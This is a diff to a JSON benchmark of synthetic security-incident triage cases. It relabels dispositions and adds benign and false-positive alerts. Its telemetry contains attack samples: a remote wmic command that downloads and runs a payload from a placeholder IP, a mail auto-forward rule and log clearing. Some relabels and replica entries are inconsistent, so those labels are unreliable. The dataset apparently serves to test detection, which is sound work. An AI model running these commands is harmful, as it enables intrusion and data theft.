192.0.2.15. Build artefacts may be tainted.","severity": "critical","raw_alert": {"title": "Supply-chain compromise: malicious npm package on WIN-PROD-WEB02",@@ -7191,11 +7191,11 @@"severity": "high","Computer": "WIN-PROD-WEB02","User": "ci-runner",- "dest_ip": "91.134.231.15",+ "dest_ip": "192.0.2.15","dest_port": 4444}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1195.001","T1059.007"@@ -7236,7 +7236,7 @@"CommandLine": "python.exe E:\\autorun.py --stage C:\\Temp\\"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1091","T1005"@@ -7251,7 +7251,7 @@"id": "INC-EVAL-171","provenance": "synthetic","title": "OAuth consent phishing targeting [email protected]",- "description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 45.142.122.111.",+ "description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 203.0.113.111.","severity": "high","raw_alert": {"title": "OAuth consent phishing targeting [email protected]",@@ -7278,12 +7278,12 @@"UserId": "[email protected]","Parameters": {"Name": "Auto-fwd",- "ForwardTo": "[email protected]",+ "ForwardTo": "[email protected]","DeleteMessage": true}}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1528","T1550.001"@@ -7328,7 +7328,7 @@"threat_actor": "Volt Typhoon"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1059.001","T1027"@@ -7373,7 +7373,7 @@"Protocol": "tcp"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1105","T1218.009"@@ -7421,7 +7421,7 @@"user": "root"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1610","T1059.004",@@ -7468,7 +7468,7 @@"Destination": "powershell.exe -enc <encoded>"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1546.003","T1059.001"@@ -7511,7 +7511,7 @@"threat_actor": "APT29"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1547.001"],@@ -7551,7 +7551,7 @@"User": "[email protected]"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1053.005"],@@ -7586,7 +7586,7 @@"indicator_path": "ESP:/EFI/Boot/bootx64.efi"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1542.001","T1027.002"@@ -7626,7 +7626,7 @@"hostname": "LIN-BUILD-CI03"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1053.003","T1071.001"@@ -7668,7 +7668,7 @@"User": "SYSTEM"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1548.002"],@@ -7731,7 +7731,7 @@"user": "root"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1611","T1082"@@ -7775,7 +7775,7 @@"user": "[email protected]"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1548.001"],@@ -7828,7 +7828,7 @@"threat_actor": "ALPHV/BlackCat"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1055.012","T1620"@@ -7872,7 +7872,7 @@"CommandLine": "wevtutil cl Security"}],- "expected_disposition": "suspicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1070.001"],@@ -7922,7 +7922,7 @@"User": "[email protected]"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1562.001"],@@ -7967,7 +7967,7 @@"User": "[email protected]"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1003.001"],@@ -8010,7 +8010,7 @@"riskLevelAggregated": "high"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1110.003"],@@ -8055,7 +8055,7 @@"IpAddress": "WIN-FIN-DB01"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1558.003","T1021.001"@@ -8091,7 +8091,7 @@"ClientIP": "LIN-OBS-LOGGER"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1003.006","T1078.002"@@ -8142,7 +8142,7 @@]}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1606.002","T1087.002"@@ -8188,7 +8188,7 @@"EventCount": 8400}],- "expected_disposition": "benign",+ "expected_disposition": "true_positive","expected_techniques": ["T1087.002"],@@ -8232,7 +8232,7 @@"EventCount": 256}],- "expected_disposition": "benign",+ "expected_disposition": "true_positive","expected_techniques": ["T1135"],@@ -8276,7 +8276,7 @@"threat_actor": "Lazarus"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1550.002","T1558.001"@@ -8312,7 +8312,7 @@"EventTimeUTC": "03:14:00Z"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1021.001"],@@ -8326,7 +8326,7 @@"id": "INC-EVAL-195","provenance": "synthetic","title": "WMI lateral execution from WIN-FILE-SHARE to LIN-DB-REPLICA",- "description": "wmic.exe /node:LIN-DB-REPLICA process call create observed from WIN-FILE-SHARE by [email protected]. Remote command execution; payload from 91.134.231.15.",+ "description": "wmic.exe /node:LIN-DB-REPLICA process call create observed from WIN-FILE-SHARE by [email protected]. Remote command execution; payload from 192.0.2.15.","severity": "high","raw_alert": {"title": "WMI lateral execution from WIN-FILE-SHARE to LIN-DB-REPLICA",@@ -8342,10 +8342,10 @@"Computer": "WIN-FILE-SHARE","User": "[email protected]","Image": "C:\\Windows\\System32\\wbem\\wmic.exe",- "CommandLine": "wmic /node:LIN-DB-REPLICA process call create \"cmd /c curl http://91.134.231.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""+ "CommandLine": "wmic /node:LIN-DB-REPLICA process call create \"cmd /c curl http://192.0.2.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1047"],@@ -8378,7 +8378,7 @@"bytes": 10700000000}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1005","T1041"@@ -8422,7 +8422,7 @@"User": "[email protected]"}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1115"],@@ -8454,7 +8454,7 @@"qps": 240}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1071.004","T1048.003"@@ -8469,7 +8469,7 @@"id": "INC-EVAL-199","provenance": "synthetic","title": "Cloud storage exfil: data egress to attacker-controlled S3 from K8S-PROD-CLUSTER",- "description": "Egress from K8S-PROD-CLUSTER to s3://atk-stage-45.142.122.111/dump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match.",+ "description": "Egress from K8S-PROD-CLUSTER to s3://atk-stage-203.0.113.111/dump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match.","severity": "critical","raw_alert": {"title": "Cloud storage exfil: data egress to attacker-controlled S3 from K8S-PROD-CLUSTER",@@ -8488,17 +8488,17 @@},"sourceIPAddress": "K8S-PROD-CLUSTER","requestParameters": {- "bucketName": "atk-stage-45.142.122.111",+ "bucketName": "atk-stage-203.0.113.111","key": "dump/customers.tar.gz"},"resources": [{- "ARN": "arn:aws:s3:::atk-stage-45.142.122.111/dump/customers.tar.gz"+ "ARN": "arn:aws:s3:::atk-stage-203.0.113.111/dump/customers.tar.gz"}]}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1567.002"],@@ -8532,7 +8532,7 @@"file_count": 812}],- "expected_disposition": "malicious",+ "expected_disposition": "true_positive","expected_techniques": ["T1567.002","T1005"@@ -8542,6 +8542,2481 @@"suspend_user","block_user_signin"]+ },+ {+ "id": "INC-BENIGN-001",+ "provenance": "synthetic",+ "title": "PsExec service installed on WIN-DB-07",+ "description": "psexesvc.exe installed and started on WIN-DB-07 by [email protected] at 02:14 local. Source host WIN-MGMT-01.",+ "severity": "high",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1569.002"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "PsExec service installed on WIN-DB-07",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "sysmon",+ "EventID": 1,+ "Computer": "WIN-DB-07",+ "Image": "C:\\Windows\\PSEXESVC.exe",+ "User": "EXAMPLE\\svc-patching",+ "ParentImage": "C:\\Windows\\System32\\services.exe",+ "UtcTime": "2026-03-04T02:14:11Z"+ },+ {+ "source": "itsm",+ "change_ticket": "CHG0041288",+ "window_start": "2026-03-04T02:00:00Z",+ "window_end": "2026-03-04T04:00:00Z",+ "approver": "[email protected]",+ "summary": "Quarterly database patch rollout, wave 3"+ }+ ]+ },+ {+ "id": "INC-BENIGN-002",+ "provenance": "synthetic",+ "title": "Encoded PowerShell from build agent LIN-CI-04",+ "description": "powershell.exe -EncodedCommand observed on WIN-BUILD-02, parent process the Jenkins agent service.",+ "severity": "high",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1059.001",+ "T1027"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Encoded PowerShell from build agent LIN-CI-04",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "sysmon",+ "EventID": 1,+ "Computer": "WIN-BUILD-02",+ "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",+ "CommandLine": "powershell.exe -NoProfile -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQA",+ "ParentImage": "C:\\Program Files\\Jenkins\\jenkins-agent.exe",+ "User": "EXAMPLE\\svc-jenkins"+ },+ {+ "source": "vcs",+ "repository": "example/platform-deploy",+ "file": "scripts/deploy.ps1",+ "note": "Encoding is how the pipeline passes a multi-line script through the agent."+ }+ ]+ },+ {+ "id": "INC-BENIGN-003",+ "provenance": "synthetic",+ "title": "Port scan across 10.0.0.0/8 from 198.51.100.40",+ "description": "Sequential TCP connections to 1,024 ports across 2,300 hosts in eleven minutes.",+ "severity": "medium",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1046"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Port scan across 10.0.0.0/8 from 198.51.100.40",+ "severity": "medium"+ },+ "telemetry": [+ {+ "source": "netflow",+ "src_ip": "198.51.100.40",+ "distinct_dst": 2300,+ "distinct_ports": 1024,+ "duration_seconds": 660+ },+ {+ "source": "asset_inventory",+ "ip": "198.51.100.40",+ "hostname": "vulnscan-prod-01.example.com",+ "owner": "[email protected]",+ "role": "authenticated vulnerability scanner",+ "scan_schedule": "weekly, Sundays 01:00-05:00 UTC"+ }+ ]+ },+ {+ "id": "INC-BENIGN-004",+ "provenance": "synthetic",+ "title": "Mass file read by backup agent on FS-CORP-02",+ "description": "48,000 file reads in 20 minutes by a single process on the corporate file server.",+ "severity": "high",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1005",+ "T1074.001"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Mass file read by backup agent on FS-CORP-02",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "sysmon",+ "EventID": 11,+ "Computer": "FS-CORP-02",+ "Image": "C:\\Program Files\\Veeam\\Backup\\VeeamAgent.exe",+ "User": "EXAMPLE\\svc-backup",+ "files_touched": 48000,+ "window_minutes": 20+ },+ {+ "source": "edr",+ "process_signed": true,+ "signer": "Veeam Software Group GmbH",+ "network_destinations": [+ "198.51.100.70"+ ]+ }+ ]+ },+ {+ "id": "INC-BENIGN-005",+ "provenance": "synthetic",+ "title": "LDAP enumeration from LIN-IAM-SYNC01",+ "description": "12,400 LDAP queries enumerating users, groups and group membership in six minutes.",+ "severity": "medium",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1087.002",+ "T1069.002"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "LDAP enumeration from LIN-IAM-SYNC01",+ "severity": "medium"+ },+ "telemetry": [+ {+ "source": "windows_event",+ "EventID": 4662,+ "Computer": "DC01.example.com",+ "SubjectUserName": "svc-scim-sync",+ "query_count": 12400,+ "window_minutes": 6+ },+ {+ "source": "asset_inventory",+ "hostname": "LIN-IAM-SYNC01",+ "role": "SCIM provisioning connector",+ "runs_every": "15 minutes"+ }+ ]+ },+ {+ "id": "INC-BENIGN-006",+ "provenance": "synthetic",+ "title": "Impossible travel for [email protected]",+ "description": "Sign-in from London then Singapore 40 minutes apart.",+ "severity": "high",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1078.004"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Impossible travel for [email protected]",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "okta",+ "eventType": "user.session.start",+ "actor": "[email protected]",+ "client_ip": "198.51.100.12",+ "geo": "London, GB",+ "ts": "2026-03-04T08:02:00Z"+ },+ {+ "source": "okta",+ "eventType": "user.session.start",+ "actor": "[email protected]",+ "client_ip": "203.0.113.88",+ "geo": "Singapore, SG",+ "ts": "2026-03-04T08:42:00Z"+ },+ {+ "source": "network",+ "ip": "203.0.113.88",+ "note": "Corporate egress gateway, APAC region. Traffic egresses here when the VPN reconnects."+ }+ ]+ },+ {+ "id": "INC-BENIGN-007",+ "provenance": "synthetic",+ "title": "New privileged account created: svc-terraform-runner",+ "description": "Account created and added to Domain Admins outside business hours.",+ "severity": "critical",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1136.002",+ "T1098"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "New privileged account created: svc-terraform-runner",+ "severity": "critical"+ },+ "telemetry": [+ {+ "source": "windows_event",+ "EventID": 4720,+ "Computer": "DC01.example.com",+ "TargetUserName": "svc-terraform-runner",+ "SubjectUserName": "svc-provisioning",+ "ts": "2026-03-04T23:40:00Z"+ },+ {+ "source": "itsm",+ "change_ticket": "CHG0041301",+ "approver": "[email protected]",+ "summary": "Provision infrastructure-automation service account, approved at CAB 2026-02-27"+ }+ ]+ },+ {+ "id": "INC-BENIGN-008",+ "provenance": "synthetic",+ "title": "Bulk outbound email from 198.51.100.55",+ "description": "22,000 messages to external recipients in one hour.",+ "severity": "medium",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1114.003"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Bulk outbound email from 198.51.100.55",+ "severity": "medium"+ },+ "telemetry": [+ {+ "source": "m365_audit",+ "Operation": "Send",+ "sender": "[email protected]",+ "message_count": 22000,+ "window_minutes": 60+ },+ {+ "source": "asset_inventory",+ "ip": "198.51.100.55",+ "hostname": "mkt-sendgrid-relay.example.com",+ "role": "marketing email relay"+ }+ ]+ },+ {+ "id": "INC-BENIGN-009",+ "provenance": "synthetic",+ "title": "Credential dumping tool executed on WIN-SEC-LAB01",+ "description": "mimikatz.exe executed by [email protected].",+ "severity": "critical",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1003.001"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Credential dumping tool executed on WIN-SEC-LAB01",+ "severity": "critical"+ },+ "telemetry": [+ {+ "source": "sysmon",+ "EventID": 1,+ "Computer": "WIN-SEC-LAB01",+ "Image": "C:\\Tools\\mimikatz.exe",+ "User": "EXAMPLE\\t.nakamura"+ },+ {+ "source": "asset_inventory",+ "hostname": "WIN-SEC-LAB01",+ "role": "detection-engineering lab, isolated VLAN, no domain trust",+ "owner": "[email protected]"+ }+ ]+ },+ {+ "id": "INC-BENIGN-010",+ "provenance": "synthetic",+ "title": "Scheduled task created on 140 hosts",+ "description": "Identical scheduled task written across 140 endpoints within four minutes.",+ "severity": "high",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1053.005"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Scheduled task created on 140 hosts",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "windows_event",+ "EventID": 4698,+ "TaskName": "\\Example\\EndpointInventory",+ "host_count": 140,+ "window_minutes": 4,+ "SubjectUserName": "svc-sccm"+ },+ {+ "source": "itsm",+ "change_ticket": "CHG0041312",+ "summary": "Roll out endpoint inventory collector to the finance OU"+ }+ ]+ },+ {+ "id": "INC-FP-001",+ "provenance": "synthetic",+ "title": "Ransomware file-extension activity on WIN-HR-21",+ "description": "Rule matched 400 files renamed to a known ransomware extension.",+ "severity": "critical",+ "expected_disposition": "false_positive",+ "expected_techniques": [+ "T1486"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Ransomware file-extension activity on WIN-HR-21",+ "severity": "critical"+ },+ "telemetry": [+ {+ "source": "sysmon",+ "EventID": 11,+ "Computer": "WIN-HR-21",+ "TargetFilename": "D:\\archive\\2019-payroll.7z.locked",+ "Image": "C:\\Program Files\\7-Zip\\7zG.exe",+ "User": "EXAMPLE\\m.alvarez"+ },+ {+ "source": "edr",+ "note": "Files were renamed by an archival script appending '.locked' as its own marker.",+ "entropy_change": "none",+ "ransom_note_found": false+ }+ ]+ },+ {+ "id": "INC-FP-002",+ "provenance": "synthetic",+ "title": "C2 beacon to malware-c2.example.net from WIN-FIN-09",+ "description": "Periodic outbound HTTPS matching a threat-intel indicator.",+ "severity": "critical",+ "expected_disposition": "false_positive",+ "expected_techniques": [+ "T1071.001"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "C2 beacon to malware-c2.example.net from WIN-FIN-09",+ "severity": "critical"+ },+ "telemetry": [+ {+ "source": "proxy",+ "src_host": "WIN-FIN-09",+ "dst_domain": "malware-c2.example.net",+ "interval_seconds": 300,+ "bytes_out": 412+ },+ {+ "source": "threatintel",+ "indicator": "malware-c2.example.net",+ "note": "Sinkholed by the registrar in 2024; the IOC feed never expired the entry.",+ "first_seen": "2023-11-02",+ "sinkholed": true+ }+ ]+ },+ {+ "id": "INC-FP-003",+ "provenance": "synthetic",+ "title": "Brute force against svc-monitoring from 198.51.100.90",+ "description": "620 failed authentications in ten minutes.",+ "severity": "high",+ "expected_disposition": "false_positive",+ "expected_techniques": [+ "T1110.001"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Brute force against svc-monitoring from 198.51.100.90",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "windows_event",+ "EventID": 4625,+ "TargetUserName": "svc-monitoring",+ "IpAddress": "198.51.100.90",+ "failure_count": 620,+ "Status": "0xC000006A"+ },+ {+ "source": "asset_inventory",+ "ip": "198.51.100.90",+ "hostname": "nagios-01.example.com",+ "note": "Credential rotated 2026-03-03; the monitoring host kept the old secret in its config."+ }+ ]+ },+ {+ "id": "INC-FP-004",+ "provenance": "synthetic",+ "title": "Data exfiltration: 14 GB uploaded from LIN-APP-12",+ "description": "Large sustained outbound transfer to an external address.",+ "severity": "high",+ "expected_disposition": "false_positive",+ "expected_techniques": [+ "T1048"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Data exfiltration: 14 GB uploaded from LIN-APP-12",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "netflow",+ "src_host": "LIN-APP-12",+ "dst_ip": "198.51.100.200",+ "bytes_out": 15032385536,+ "duration_minutes": 46+ },+ {+ "source": "asset_inventory",+ "ip": "198.51.100.200",+ "hostname": "artifact-mirror.example.com",+ "note": "Internal artifact mirror. Classified external by the rule because it sits outside the RFC1918 ranges the rule checks."+ }+ ]+ },+ {+ "id": "INC-FP-005",+ "provenance": "synthetic",+ "title": "Suspicious parent-child: winword.exe spawning cmd.exe on WIN-LEG-03",+ "description": "Office application spawned a command shell.",+ "severity": "high",+ "expected_disposition": "false_positive",+ "expected_techniques": [+ "T1566.001",+ "T1059.003"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Suspicious parent-child: winword.exe spawning cmd.exe on WIN-LEG-03",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "sysmon",+ "EventID": 1,+ "Computer": "WIN-LEG-03",+ "Image": "C:\\Windows\\System32\\cmd.exe",+ "ParentImage": "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE",+ "CommandLine": "cmd.exe /c \"C:\\Legal\\merge-templates.bat\"",+ "User": "EXAMPLE\\r.devlin"+ },+ {+ "source": "vcs",+ "note": "merge-templates.bat is a reviewed document-assembly macro deployed to the legal OU in 2021."+ }+ ]+ },+ {+ "id": "INC-BENIGN-001-R1",+ "provenance": "synthetic",+ "title": "PsExec service installed on WIN-ENG-17",+ "description": "psexesvc.exe installed and started on WIN-DB-07 by [email protected] at 02:14 local. Source host WIN-MGMT-01.",+ "severity": "high",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1569.002"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "PsExec service installed on WIN-ENG-17",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "sysmon",+ "EventID": 1,+ "Computer": "WIN-ENG-17",+ "Image": "C:\\Windows\\PSEXESVC.exe",+ "User": "EXAMPLE\\svc-patching",+ "ParentImage": "C:\\Windows\\System32\\services.exe",+ "UtcTime": "2026-03-04T02:14:11Z"+ },+ {+ "source": "itsm",+ "change_ticket": "CHG0041455",+ "window_start": "2026-03-04T02:00:00Z",+ "window_end": "2026-03-04T04:00:00Z",+ "approver": "[email protected]",+ "summary": "Quarterly database patch rollout, wave 3"+ }+ ]+ },+ {+ "id": "INC-BENIGN-001-R2",+ "provenance": "synthetic",+ "title": "PsExec service installed on LIN-APP-05",+ "description": "psexesvc.exe installed and started on WIN-DB-07 by [email protected] at 02:14 local. Source host WIN-MGMT-01.",+ "severity": "high",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1569.002"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "PsExec service installed on LIN-APP-05",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "sysmon",+ "EventID": 1,+ "Computer": "LIN-APP-05",+ "Image": "C:\\Windows\\PSEXESVC.exe",+ "User": "EXAMPLE\\svc-patching",+ "ParentImage": "C:\\Windows\\System32\\services.exe",+ "UtcTime": "2026-03-04T02:14:11Z"+ },+ {+ "source": "itsm",+ "change_ticket": "CHG0041487",+ "window_start": "2026-03-04T02:00:00Z",+ "window_end": "2026-03-04T04:00:00Z",+ "approver": "[email protected]",+ "summary": "Quarterly database patch rollout, wave 3"+ }+ ]+ },+ {+ "id": "INC-BENIGN-001-R3",+ "provenance": "synthetic",+ "title": "PsExec service installed on WIN-HR-08",+ "description": "psexesvc.exe installed and started on WIN-DB-07 by [email protected] at 02:14 local. Source host WIN-MGMT-01.",+ "severity": "high",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1569.002"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "PsExec service installed on WIN-HR-08",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "sysmon",+ "EventID": 1,+ "Computer": "WIN-HR-08",+ "Image": "C:\\Windows\\PSEXESVC.exe",+ "User": "EXAMPLE\\svc-patching",+ "ParentImage": "C:\\Windows\\System32\\services.exe",+ "UtcTime": "2026-03-04T02:14:11Z"+ },+ {+ "source": "itsm",+ "change_ticket": "CHG0041502",+ "window_start": "2026-03-04T02:00:00Z",+ "window_end": "2026-03-04T04:00:00Z",+ "approver": "[email protected]",+ "summary": "Quarterly database patch rollout, wave 3"+ }+ ]+ },+ {+ "id": "INC-BENIGN-001-R4",+ "provenance": "synthetic",+ "title": "PsExec service installed on LIN-DATA-11",+ "description": "psexesvc.exe installed and started on WIN-DB-07 by [email protected] at 02:14 local. Source host WIN-MGMT-01.",+ "severity": "high",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1569.002"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "PsExec service installed on LIN-DATA-11",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "sysmon",+ "EventID": 1,+ "Computer": "LIN-DATA-11",+ "Image": "C:\\Windows\\PSEXESVC.exe",+ "User": "EXAMPLE\\svc-patching",+ "ParentImage": "C:\\Windows\\System32\\services.exe",+ "UtcTime": "2026-03-04T02:14:11Z"+ },+ {+ "source": "itsm",+ "change_ticket": "CHG0041533",+ "window_start": "2026-03-04T02:00:00Z",+ "window_end": "2026-03-04T04:00:00Z",+ "approver": "[email protected]",+ "summary": "Quarterly database patch rollout, wave 3"+ }+ ]+ },+ {+ "id": "INC-BENIGN-002-R1",+ "provenance": "synthetic",+ "title": "Encoded PowerShell from build agent LIN-CI-04",+ "description": "powershell.exe -EncodedCommand observed on WIN-BUILD-02, parent process the Jenkins agent service.",+ "severity": "high",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1059.001",+ "T1027"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Encoded PowerShell from build agent LIN-CI-04",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "sysmon",+ "EventID": 1,+ "Computer": "WIN-OPS-22",+ "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",+ "CommandLine": "powershell.exe -NoProfile -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQA",+ "ParentImage": "C:\\Program Files\\Jenkins\\jenkins-agent.exe",+ "User": "EXAMPLE\\svc-jenkins"+ },+ {+ "source": "vcs",+ "repository": "example/platform-deploy",+ "file": "scripts/deploy.ps1",+ "note": "Encoding is how the pipeline passes a multi-line script through the agent."+ }+ ]+ },+ {+ "id": "INC-BENIGN-002-R2",+ "provenance": "synthetic",+ "title": "Encoded PowerShell from build agent LIN-CI-04",+ "description": "powershell.exe -EncodedCommand observed on WIN-BUILD-02, parent process the Jenkins agent service.",+ "severity": "high",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1059.001",+ "T1027"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Encoded PowerShell from build agent LIN-CI-04",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "sysmon",+ "EventID": 1,+ "Computer": "LIN-EDGE-02",+ "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",+ "CommandLine": "powershell.exe -NoProfile -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQA",+ "ParentImage": "C:\\Program Files\\Jenkins\\jenkins-agent.exe",+ "User": "EXAMPLE\\svc-jenkins"+ },+ {+ "source": "vcs",+ "repository": "example/platform-deploy",+ "file": "scripts/deploy.ps1",+ "note": "Encoding is how the pipeline passes a multi-line script through the agent."+ }+ ]+ },+ {+ "id": "INC-BENIGN-002-R3",+ "provenance": "synthetic",+ "title": "Encoded PowerShell from build agent LIN-CI-04",+ "description": "powershell.exe -EncodedCommand observed on WIN-BUILD-02, parent process the Jenkins agent service.",+ "severity": "high",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1059.001",+ "T1027"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Encoded PowerShell from build agent LIN-CI-04",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "sysmon",+ "EventID": 1,+ "Computer": "WIN-LEG-14",+ "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",+ "CommandLine": "powershell.exe -NoProfile -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQA",+ "ParentImage": "C:\\Program Files\\Jenkins\\jenkins-agent.exe",+ "User": "EXAMPLE\\svc-jenkins"+ },+ {+ "source": "vcs",+ "repository": "example/platform-deploy",+ "file": "scripts/deploy.ps1",+ "note": "Encoding is how the pipeline passes a multi-line script through the agent."+ }+ ]+ },+ {+ "id": "INC-BENIGN-002-R4",+ "provenance": "synthetic",+ "title": "Encoded PowerShell from build agent LIN-CI-04",+ "description": "powershell.exe -EncodedCommand observed on WIN-BUILD-02, parent process the Jenkins agent service.",+ "severity": "high",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1059.001",+ "T1027"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Encoded PowerShell from build agent LIN-CI-04",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "sysmon",+ "EventID": 1,+ "Computer": "LIN-CI-09",+ "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",+ "CommandLine": "powershell.exe -NoProfile -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQA",+ "ParentImage": "C:\\Program Files\\Jenkins\\jenkins-agent.exe",+ "User": "EXAMPLE\\svc-jenkins"+ },+ {+ "source": "vcs",+ "repository": "example/platform-deploy",+ "file": "scripts/deploy.ps1",+ "note": "Encoding is how the pipeline passes a multi-line script through the agent."+ }+ ]+ },+ {+ "id": "INC-BENIGN-003-R1",+ "provenance": "synthetic",+ "title": "Port scan across 10.0.0.0/8 from 198.51.100.40",+ "description": "Sequential TCP connections to 1,024 ports across 2,300 hosts in eleven minutes.",+ "severity": "medium",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1046"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Port scan across 10.0.0.0/8 from 198.51.100.40",+ "severity": "medium"+ },+ "telemetry": [+ {+ "source": "netflow",+ "src_ip": "198.51.100.40",+ "distinct_dst": 2300,+ "distinct_ports": 1024,+ "duration_seconds": 660+ },+ {+ "source": "asset_inventory",+ "ip": "198.51.100.40",+ "hostname": "vulnscan-prod-01.example.com",+ "owner": "[email protected]",+ "role": "authenticated vulnerability scanner",+ "scan_schedule": "weekly, Sundays 01:00-05:00 UTC"+ }+ ]+ },+ {+ "id": "INC-BENIGN-003-R2",+ "provenance": "synthetic",+ "title": "Port scan across 10.0.0.0/8 from 198.51.100.40",+ "description": "Sequential TCP connections to 1,024 ports across 2,300 hosts in eleven minutes.",+ "severity": "medium",+ "expected_disposition": "benign",+ "expected_techniques": [+ "T1046"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Port scan across 10.0.0.0/8 from 